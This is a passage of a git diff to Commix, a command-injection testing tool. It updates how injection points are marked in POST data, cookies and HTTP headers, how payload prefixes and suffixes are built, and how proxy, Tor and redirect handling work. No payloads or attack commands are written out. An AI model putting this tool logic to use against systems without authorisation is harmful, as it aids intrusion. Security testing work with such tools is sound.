settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] + except Exception: + pass + settings.TESTABLE_VALUE = result.split(settings.INJECT_TAG)[0] + # Regular POST data format. else: - if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ + if re.search(r"" + settings.PARAMETER_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , parameter): pairs = parameter.split(settings.PARAMETER_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + if settings.CUSTOM_INJECTION_MARKER: + try: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") + if settings.BASE64_PADDING in pairs[param]: + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break if 'vuln_parameter' not in locals(): @@ -377,37 +536,107 @@ def vuln_POST_param(parameter, url): Define the injection prefixes. """ def prefixes(payload, prefix): + parameter = "" + if settings.COOKIE_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.cookie + specify_cookie_parameter(parameter) + if settings.CUSTOM_HEADER_INJECTION: + specify_custom_header_parameter(parameter) + elif settings.USER_AGENT_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.agent + specify_user_agent_parameter(parameter) + elif settings.REFERER_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.referer + specify_referer_parameter(parameter) + elif settings.HOST_INJECTION: + if not settings.LOAD_SESSION: + parameter = menu.options.host + specify_host_parameter(parameter) + + _ = True + pre_custom = settings.TESTABLE_VALUE + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + pre_custom = settings.PRE_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + pre_custom = "" + _ = False + + if _: + if not pre_custom in prefix: + prefix = pre_custom + prefix # Check if defined "--prefix" option. - if menu.options.prefix: - payload = menu.options.prefix + prefix + payload - else: - payload = prefix + payload + if menu.options.prefix and not settings.LOAD_SESSION: + if not menu.options.prefix in prefix: + prefix = prefix + menu.options.prefix + + payload = prefix + payload + # Fixation for specific payload. + if ")%3B" + ")}" in payload: + payload = payload.replace(")%3B" + ")}", ")" + ")}") - return payload + return payload, prefix """ Define the injection suffixes. """ def suffixes(payload, suffix): + + if settings.COOKIE_INJECTION and suffix == settings.COOKIE_DELIMITER: + suffix = "" + + _ = True + post_custom = "" + if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + post_custom = settings.POST_CUSTOM_INJECTION_MARKER_CHAR + elif settings.IS_JSON or settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): + post_custom = "" + _ = False + + if _: + if not post_custom in suffix: + suffix = suffix + post_custom # Check if defined "--suffix" option. - if menu.options.suffix: - payload = payload + suffix + menu.options.suffix - else: - payload = payload + suffix + if menu.options.suffix and not settings.LOAD_SESSION: + if not menu.options.suffix in suffix: + suffix = menu.options.suffix + suffix + + payload = payload + suffix - return payload + return payload, suffix """ The cookie based injection. """ def do_cookie_check(cookie): - multi_parameters = cookie.split(settings.COOKIE_DELIMITER) - # Check for inappropriate format in provided parameter(s). - if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): - checks.inappropriate_format(multi_parameters) + + """ + Grab the value of parameter. + """ + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) + value = ''.join(value) + return value + + # Do replacement with the 'INJECT_HERE' tag, if the custom injection marker character is provided. + cookie = checks.process_custom_injection_data(cookie) + try: + multi_parameters = cookie.split(settings.COOKIE_DELIMITER) + except ValueError as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() + + _ = [] + _.append(cookie) + cookie = ''.join(checks.check_similarities(_)) # Grab the value of parameter. - value = re.findall(r'=(.*)', cookie) - value = ''.join(value) + value = multi_params_get_value(cookie) # Replace the value of parameter with INJECT tag # Check if single paramerter is supplied. if len(multi_parameters) == 1: @@ -418,14 +647,21 @@ def do_cookie_check(cookie): if checks.ignore_google_analytics_cookie(cookie): return cookie # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie # Check if defined the INJECT_TAG if settings.INJECT_TAG not in cookie: if len(value) == 0: cookie = cookie + settings.INJECT_TAG else: - cookie = cookie.replace(value, value + settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + cookie = cookie.replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + cookie = cookie.replace(value, value + settings.INJECT_TAG) + + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") return cookie # Check if multiple parameters are supplied. @@ -433,44 +669,50 @@ def do_cookie_check(cookie): cookies_list = [] all_params = settings.COOKIE_DELIMITER.join(multi_parameters) all_params = all_params.split(settings.COOKIE_DELIMITER) + all_params = checks.check_similarities(all_params) # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in cookie: # Check for empty values (in provided parameters). - if checks.is_empty(multi_parameters, http_request_method = "cookie"): + if checks.is_empty(multi_parameters, http_request_method=settings.COOKIE): return cookie for param in range(0, len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of cookie. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) - # Ignoring the anti-CSRF parameter(s).. + value = multi_params_get_value(all_params[param]) + # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") continue # Ignoring the Google analytics cookie parameter. if checks.ignore_google_analytics_cookie(all_params[param]): continue # Replace the value of parameter with INJECT tag - if len(value) == 0: - if not menu.options.skip_empty: - all_params[param] = all_params[param] + settings.INJECT_TAG + if len(value) == 0: + if not menu.options.skip_empty: + all_params[param] = ''.join(all_params[param] + settings.INJECT_TAG) else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") + if settings.CUSTOM_INJECTION_MARKER: + if settings.ASTERISK_MARKER in value: + all_params[param] = ''.join(all_params[param]).replace(value, value.replace(settings.ASTERISK_MARKER, settings.INJECT_TAG)) + else: + if not settings.ASTERISK_MARKER in value and not settings.CUSTOM_INJECTION_MARKER_CHAR in value: + all_params[param] = ''.join(all_params[param]).replace(value, value + settings.INJECT_TAG) + all_params[param - 1] = ''.join(all_params[param - 1]).replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) + cookie = cookie.replace(settings.RANDOM_TAG, "").replace(settings.ASTERISK_MARKER,"") if type(cookie) != list: cookies_list.append(cookie) cookie = cookies_list - else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) - cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = cookie.replace(settings.RANDOM_TAG, "") return cookie @@ -478,56 +720,101 @@ def do_cookie_check(cookie): Specify the cookie parameter(s). """ def specify_cookie_parameter(cookie): - - cookie = checks.wildcard_character(cookie) # Specify the vulnerable cookie parameter - if re.search(r"" + settings.COOKIE_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ + if re.search(r"" + settings.COOKIE_DELIMITER + r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, cookie) or \ re.search(r"(.*)=[\S*(\\/)]*" + settings.INJECT_TAG , cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) + pairs[:] = [param for param in pairs if any(value in param for value in ["="])] for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: - inject_cookie = pairs[param].split("=")[0] + vuln_parameter = pairs[param].split("=")[0] + if settings.CUSTOM_INJECTION_MARKER: + try: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass + settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break - else: - inject_cookie = cookie + vuln_parameter = cookie - return inject_cookie + if 'vuln_parameter' not in locals(): + return cookie + + return vuln_parameter """ The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - # Specify the vulnerable user-agent HTTP header - # Nothing to specify here! :) - + try: + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): + pass return user_agent - + """ The referer based injection. """ def specify_referer_parameter(referer): - # Specify the vulnerable referer HTTP header. - # Nothing to specify here! :) - + try: + header_name = settings.REFERER + settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): + pass return referer """ The host based injection. """ def specify_host_parameter(host): - # Specify the vulnerable host HTTP header. - # Nothing to specify here! :) - + try: + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): + pass return host """ The Custom http header based injection. """ def specify_custom_header_parameter(header_name): - # Specify the vulnerable HTTP header name. - # Nothing to specify here! :) - + try: + header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + # Safely handle the split to avoid IndexError + split_value = settings.TESTABLE_VALUE.split(settings.INJECT_TAG) + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = split_value[0] if len(split_value) > 0 else '' + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = split_value[1] if len(split_value) > 1 else '' + except (AttributeError, IndexError): + pass return header_name # eof \ No newline at end of file diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b64edbf3f5..67b6ab0f92 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -3,66 +3,52 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ import sys +import socket from src.utils import menu from src.utils import settings from src.core.requests import headers +from src.core.requests import requests +from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client -""" - Check if HTTP Proxy is defined. -""" -def do_check(url): - if settings.VERBOSITY_LEVEL != 0: - info_msg = "Setting the HTTP proxy for all HTTP requests. " - print(settings.print_info_msg(info_msg)) - if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) - else: - request = _urllib.request.Request(url) - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except (_urllib.error.URLError, _urllib.error.HTTPError, _http_client.BadStatusLine) as err: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Use the defined HTTP Proxy """ def use_proxy(request): - _ = True - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.HTTPError as err: - if str(err.code) == settings.INTERNAL_SERVER_ERROR or str(err.code) == settings.BAD_REQUEST: - return False + if menu.options.ignore_proxy: + proxy = _urllib.request.ProxyHandler({}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) + elif menu.options.tor: + proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:menu.options.proxy}) + opener = _urllib.request.build_opener(proxy) + _urllib.request.install_opener(opener) else: - _ = False - except (_urllib.error.URLError, _http_client.BadStatusLine) as err: - _ = False - if not _: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + request.set_proxy(menu.options.proxy, settings.SCHEME) + return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except Exception as err_msg: + return requests.request_failed(err_msg) +""" + Check if HTTP Proxy is defined. +""" +def do_check(): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting the HTTP proxy for all HTTP requests. " + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index eeb82278e6..f6fcfdeb5c 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -19,17 +19,21 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes from src.utils import menu from src.utils import settings +from src.utils import common +from src.core.requests import requests from socket import error as SocketError +from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init -def do_check(url): +def do_check(request, url, redirect_url): """ This functinality is based on Filippo's Valsorda script [1]. --- @@ -39,175 +43,63 @@ class Request(_urllib.request.Request): def get_method(self): return settings.HTTPMETHOD.HEAD - class RedirectHandler(_urllib.request.HTTPRedirectHandler): + class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ - Subclass the HTTPRedirectHandler to make it use our + Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ - def redirect_request(self, req, fp, code, msg, headers, redirected_url): + def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): - redirected_url = redirected_url.replace(' ', '%20') - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - warn_msg = "Got a " + str(code) + " redirection (" + redirected_url + ")." - print(settings.print_warning_msg(warn_msg)) - return Request(redirected_url, - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True - ) - else: - err_msg = str(_urllib.error.HTTPError(req.get_full_url(), code, msg, headers, fp)).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) + settings.REDIRECT_CODE = code + return Request(newurl.replace(' ', '%20'), + data=request.data, + headers=request.headers + ) + else: + err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - - class HTTPMethodFallback(_urllib.request.BaseHandler): - """ - """ - def http_error_405(self, req, fp, code, msg, headers): - fp.read() - fp.close() - newheaders = dict((k,v) for k,v in req.headers.items() if k.lower() not in ("content-length", "content-type")) - return self.parent.open(_urllib.request.Request(req.get_full_url(), - headers = newheaders, - # origin_req_host = req.get_origin_req_host(), - unverifiable = True) - ) - # Build our opener - opener = _urllib.request.OpenerDirector() - # Check if defined any Host HTTP header. - if menu.options.host and settings.HOST_INJECTION == False: - opener.addheaders.append(('Host', menu.options.host)) - # Check if defined any User-Agent HTTP header. - if menu.options.agent: - opener.addheaders.append(('User-Agent', menu.options.agent)) - # Check if defined any Referer HTTP header. - if menu.options.referer and settings.REFERER_INJECTION == False: - opener.addheaders.append(('Referer', menu.options.referer)) - # Check if defined any Cookie HTTP header. - if menu.options.cookie and settings.COOKIE_INJECTION == False: - opener.addheaders.append(('Cookie', menu.options.cookie)) - # Check if defined any HTTP Authentication credentials. - # HTTP Authentication: Basic / Digest Access Authentication. - if menu.options.auth_cred and menu.options.auth_type: - try: - settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) - if menu.options.auth_type == "basic": - b64_string = encodebytes(menu.options.auth_cred.encode(settings.UNICODE_ENCODING)).decode().replace('\n', '') - opener.addheaders.append(("Authorization", "Basic " + b64_string + "")) - elif menu.options.auth_type == "digest": - try: - url = menu.options.url - try: - response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except _urllib.error.HTTPError as e: - try: - authline = e.headers.get('www-authenticate', '') - authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() - realm = authobj[1].split(',')[0].replace("\"","") - user_pass_pair = menu.options.auth_cred.split(":") - username = user_pass_pair[0] - password = user_pass_pair[1] - authhandler = _urllib.request.HTTPDigestAuthHandler() - authhandler.add_password(realm, url, username, password) - opener = _urllib.request.build_opener(authhandler) - _urllib.request.install_opener(opener) - result = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) - except AttributeError: - pass - except _urllib.error.HTTPError as e: - pass - except ValueError: - err_msg = "Unsupported / Invalid HTTP authentication type '" + menu.options.auth_type + "'." - err_msg += " Try basic or digest HTTP authentication type." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - pass - - for handler in [_urllib.request.HTTPHandler, - HTTPMethodFallback, - RedirectHandler, - _urllib.request.HTTPErrorProcessor, - _urllib.request.HTTPSHandler]: - opener.add_handler(handler()) + try: + opener = _urllib.request.build_opener(RedirectHandler()) + _urllib.request.install_opener(opener) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: + requests.crawler_request(redirect_url) try: - # Return a Request or None in response to a redirect. - response = opener.open(Request(url)) - if response == None: + if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: + return redirect_url + elif settings.CRAWLING and url in settings.HREF_SKIPPED: return url else: - redirected_url = response.geturl() - if redirected_url != url: - while True: - if not menu.options.batch: - question_msg = "Do you want to follow the identified redirection? [Y/n] > " - redirection_option = _input(settings.print_question_msg(question_msg)) - else: - redirection_option = "" - if len(redirection_option) == 0 or redirection_option in settings.CHOICE_YES: - if menu.options.batch: - info_msg = "Following redirection to '" + redirected_url + "'. " - print(settings.print_info_msg(info_msg)) - return redirected_url - elif redirection_option in settings.CHOICE_NO: - return url - elif redirection_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + redirection_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - else: - return url + while True: + if not settings.FOLLOW_REDIRECT: + if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url + message += "'. Do you want to follow? [Y/n] > " + redirection_option = common.read_input(message, default="Y", check_batch=True) + if redirection_option in settings.CHOICE_YES: + settings.FOLLOW_REDIRECT = True + info_msg = "Following redirection to '" + redirect_url + "'. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) + return checks.check_http_s(redirect_url) + elif redirection_option in settings.CHOICE_NO: + settings.FOLLOW_REDIRECT = False + if settings.CRAWLING: + settings.HREF_SKIPPED.append(url) + return url + elif redirection_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(redirection_option) + pass except AttributeError: - pass - - # Raise exception due to ValueError. - except ValueError as err: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # Raise exception regarding urllib2 HTTPError. - except _urllib.error.HTTPError as err: - # Raise exception regarding infinite loop. - if "infinite loop" in str(err): - err_msg = "Infinite redirect loop detected." - err_msg += "Please check all provided parameters and/or provide missing ones." - print(settings.print_critical_msg(err_msg)) - else: - err_msg = str(err).replace(": "," (") - print(settings.print_critical_msg(err_msg + ").")) - raise SystemExit() - - # The target host seems to be down. - except _urllib.error.URLError as err: - err_msg = "The host seems to be down" - try: - err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." - except IndexError: - err_msg += "." - if not menu.options.bulkfile: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - # Raise exception regarding existing connection was forcibly closed by the remote host. - except SocketError as err: - if err.errno == errno.ECONNRESET: - error_msg = "Connection reset by peer." - print(settings.print_critical_msg(error_msg)) - elif err.errno == errno.ECONNREFUSED: - error_msg = "Connection refused." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + return url - # Raise exception regarding connection aborted. - except Exception: - err_msg = "Connection aborted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index bf04817748..e171c43550 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -17,6 +17,7 @@ import sys import time import socket +from socket import error as SocketError from src.utils import menu from os.path import splitext from src.utils import settings @@ -24,66 +25,103 @@ from src.thirdparty.six.moves import http_client as _http_client # accept overly long result lines _http_client._MAXLINE = 1 * 1024 * 1024 -from src.core.requests import tor +from src.utils import common +from src.utils import crawler from src.core.requests import proxy from src.core.requests import headers +from src.core.requests import requests from src.core.requests import parameters +from src.core.requests import redirection from src.core.requests import authentication from src.core.injections.controller import checks from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.colorama import Fore, Back, Style, init + +""" +Do a request to target URL. +""" +def crawler_request(url, http_request_method): + try: + # Check if defined POST data + if settings.USER_DEFINED_POST_DATA: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None + request = _urllib.request.Request(url, data, method=http_request_method) + headers.do_check(request) + headers.check_http_traffic(request) + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if type(response) is not bool and settings.FOLLOW_REDIRECT and response is not None: + if response.geturl() != url: + href = redirection.do_check(request, url, response.geturl()) + if href != url: + crawler.store_hrefs(href, identified_hrefs=True, redirection=True) + return response + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: + if url not in settings.HREF_SKIPPED: + settings.HREF_SKIPPED.append(url) + settings.CRAWLED_SKIPPED_URLS_NUM += 1 + if settings.SITEMAP_XML_FILE in url and settings.NOT_FOUND_ERROR in str(err_msg): + warn_msg = "'" + settings.SITEMAP_XML_FILE + "' not found." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + request_failed(err_msg) + """ Estimating the response time (in seconds). """ -def estimate_response_time(url, timesec): +def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False + _ = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + # Check if defined POST data if menu.options.data: - request = _urllib.request.Request(url, menu.options.data.encode(settings.UNICODE_ENCODING)) + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) else: - url = parameters.get_url_part(url) - request = _urllib.request.Request(url) - headers.do_check(request) + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + + headers.do_check(request) start = time.time() try: response = _urllib.request.urlopen(request, 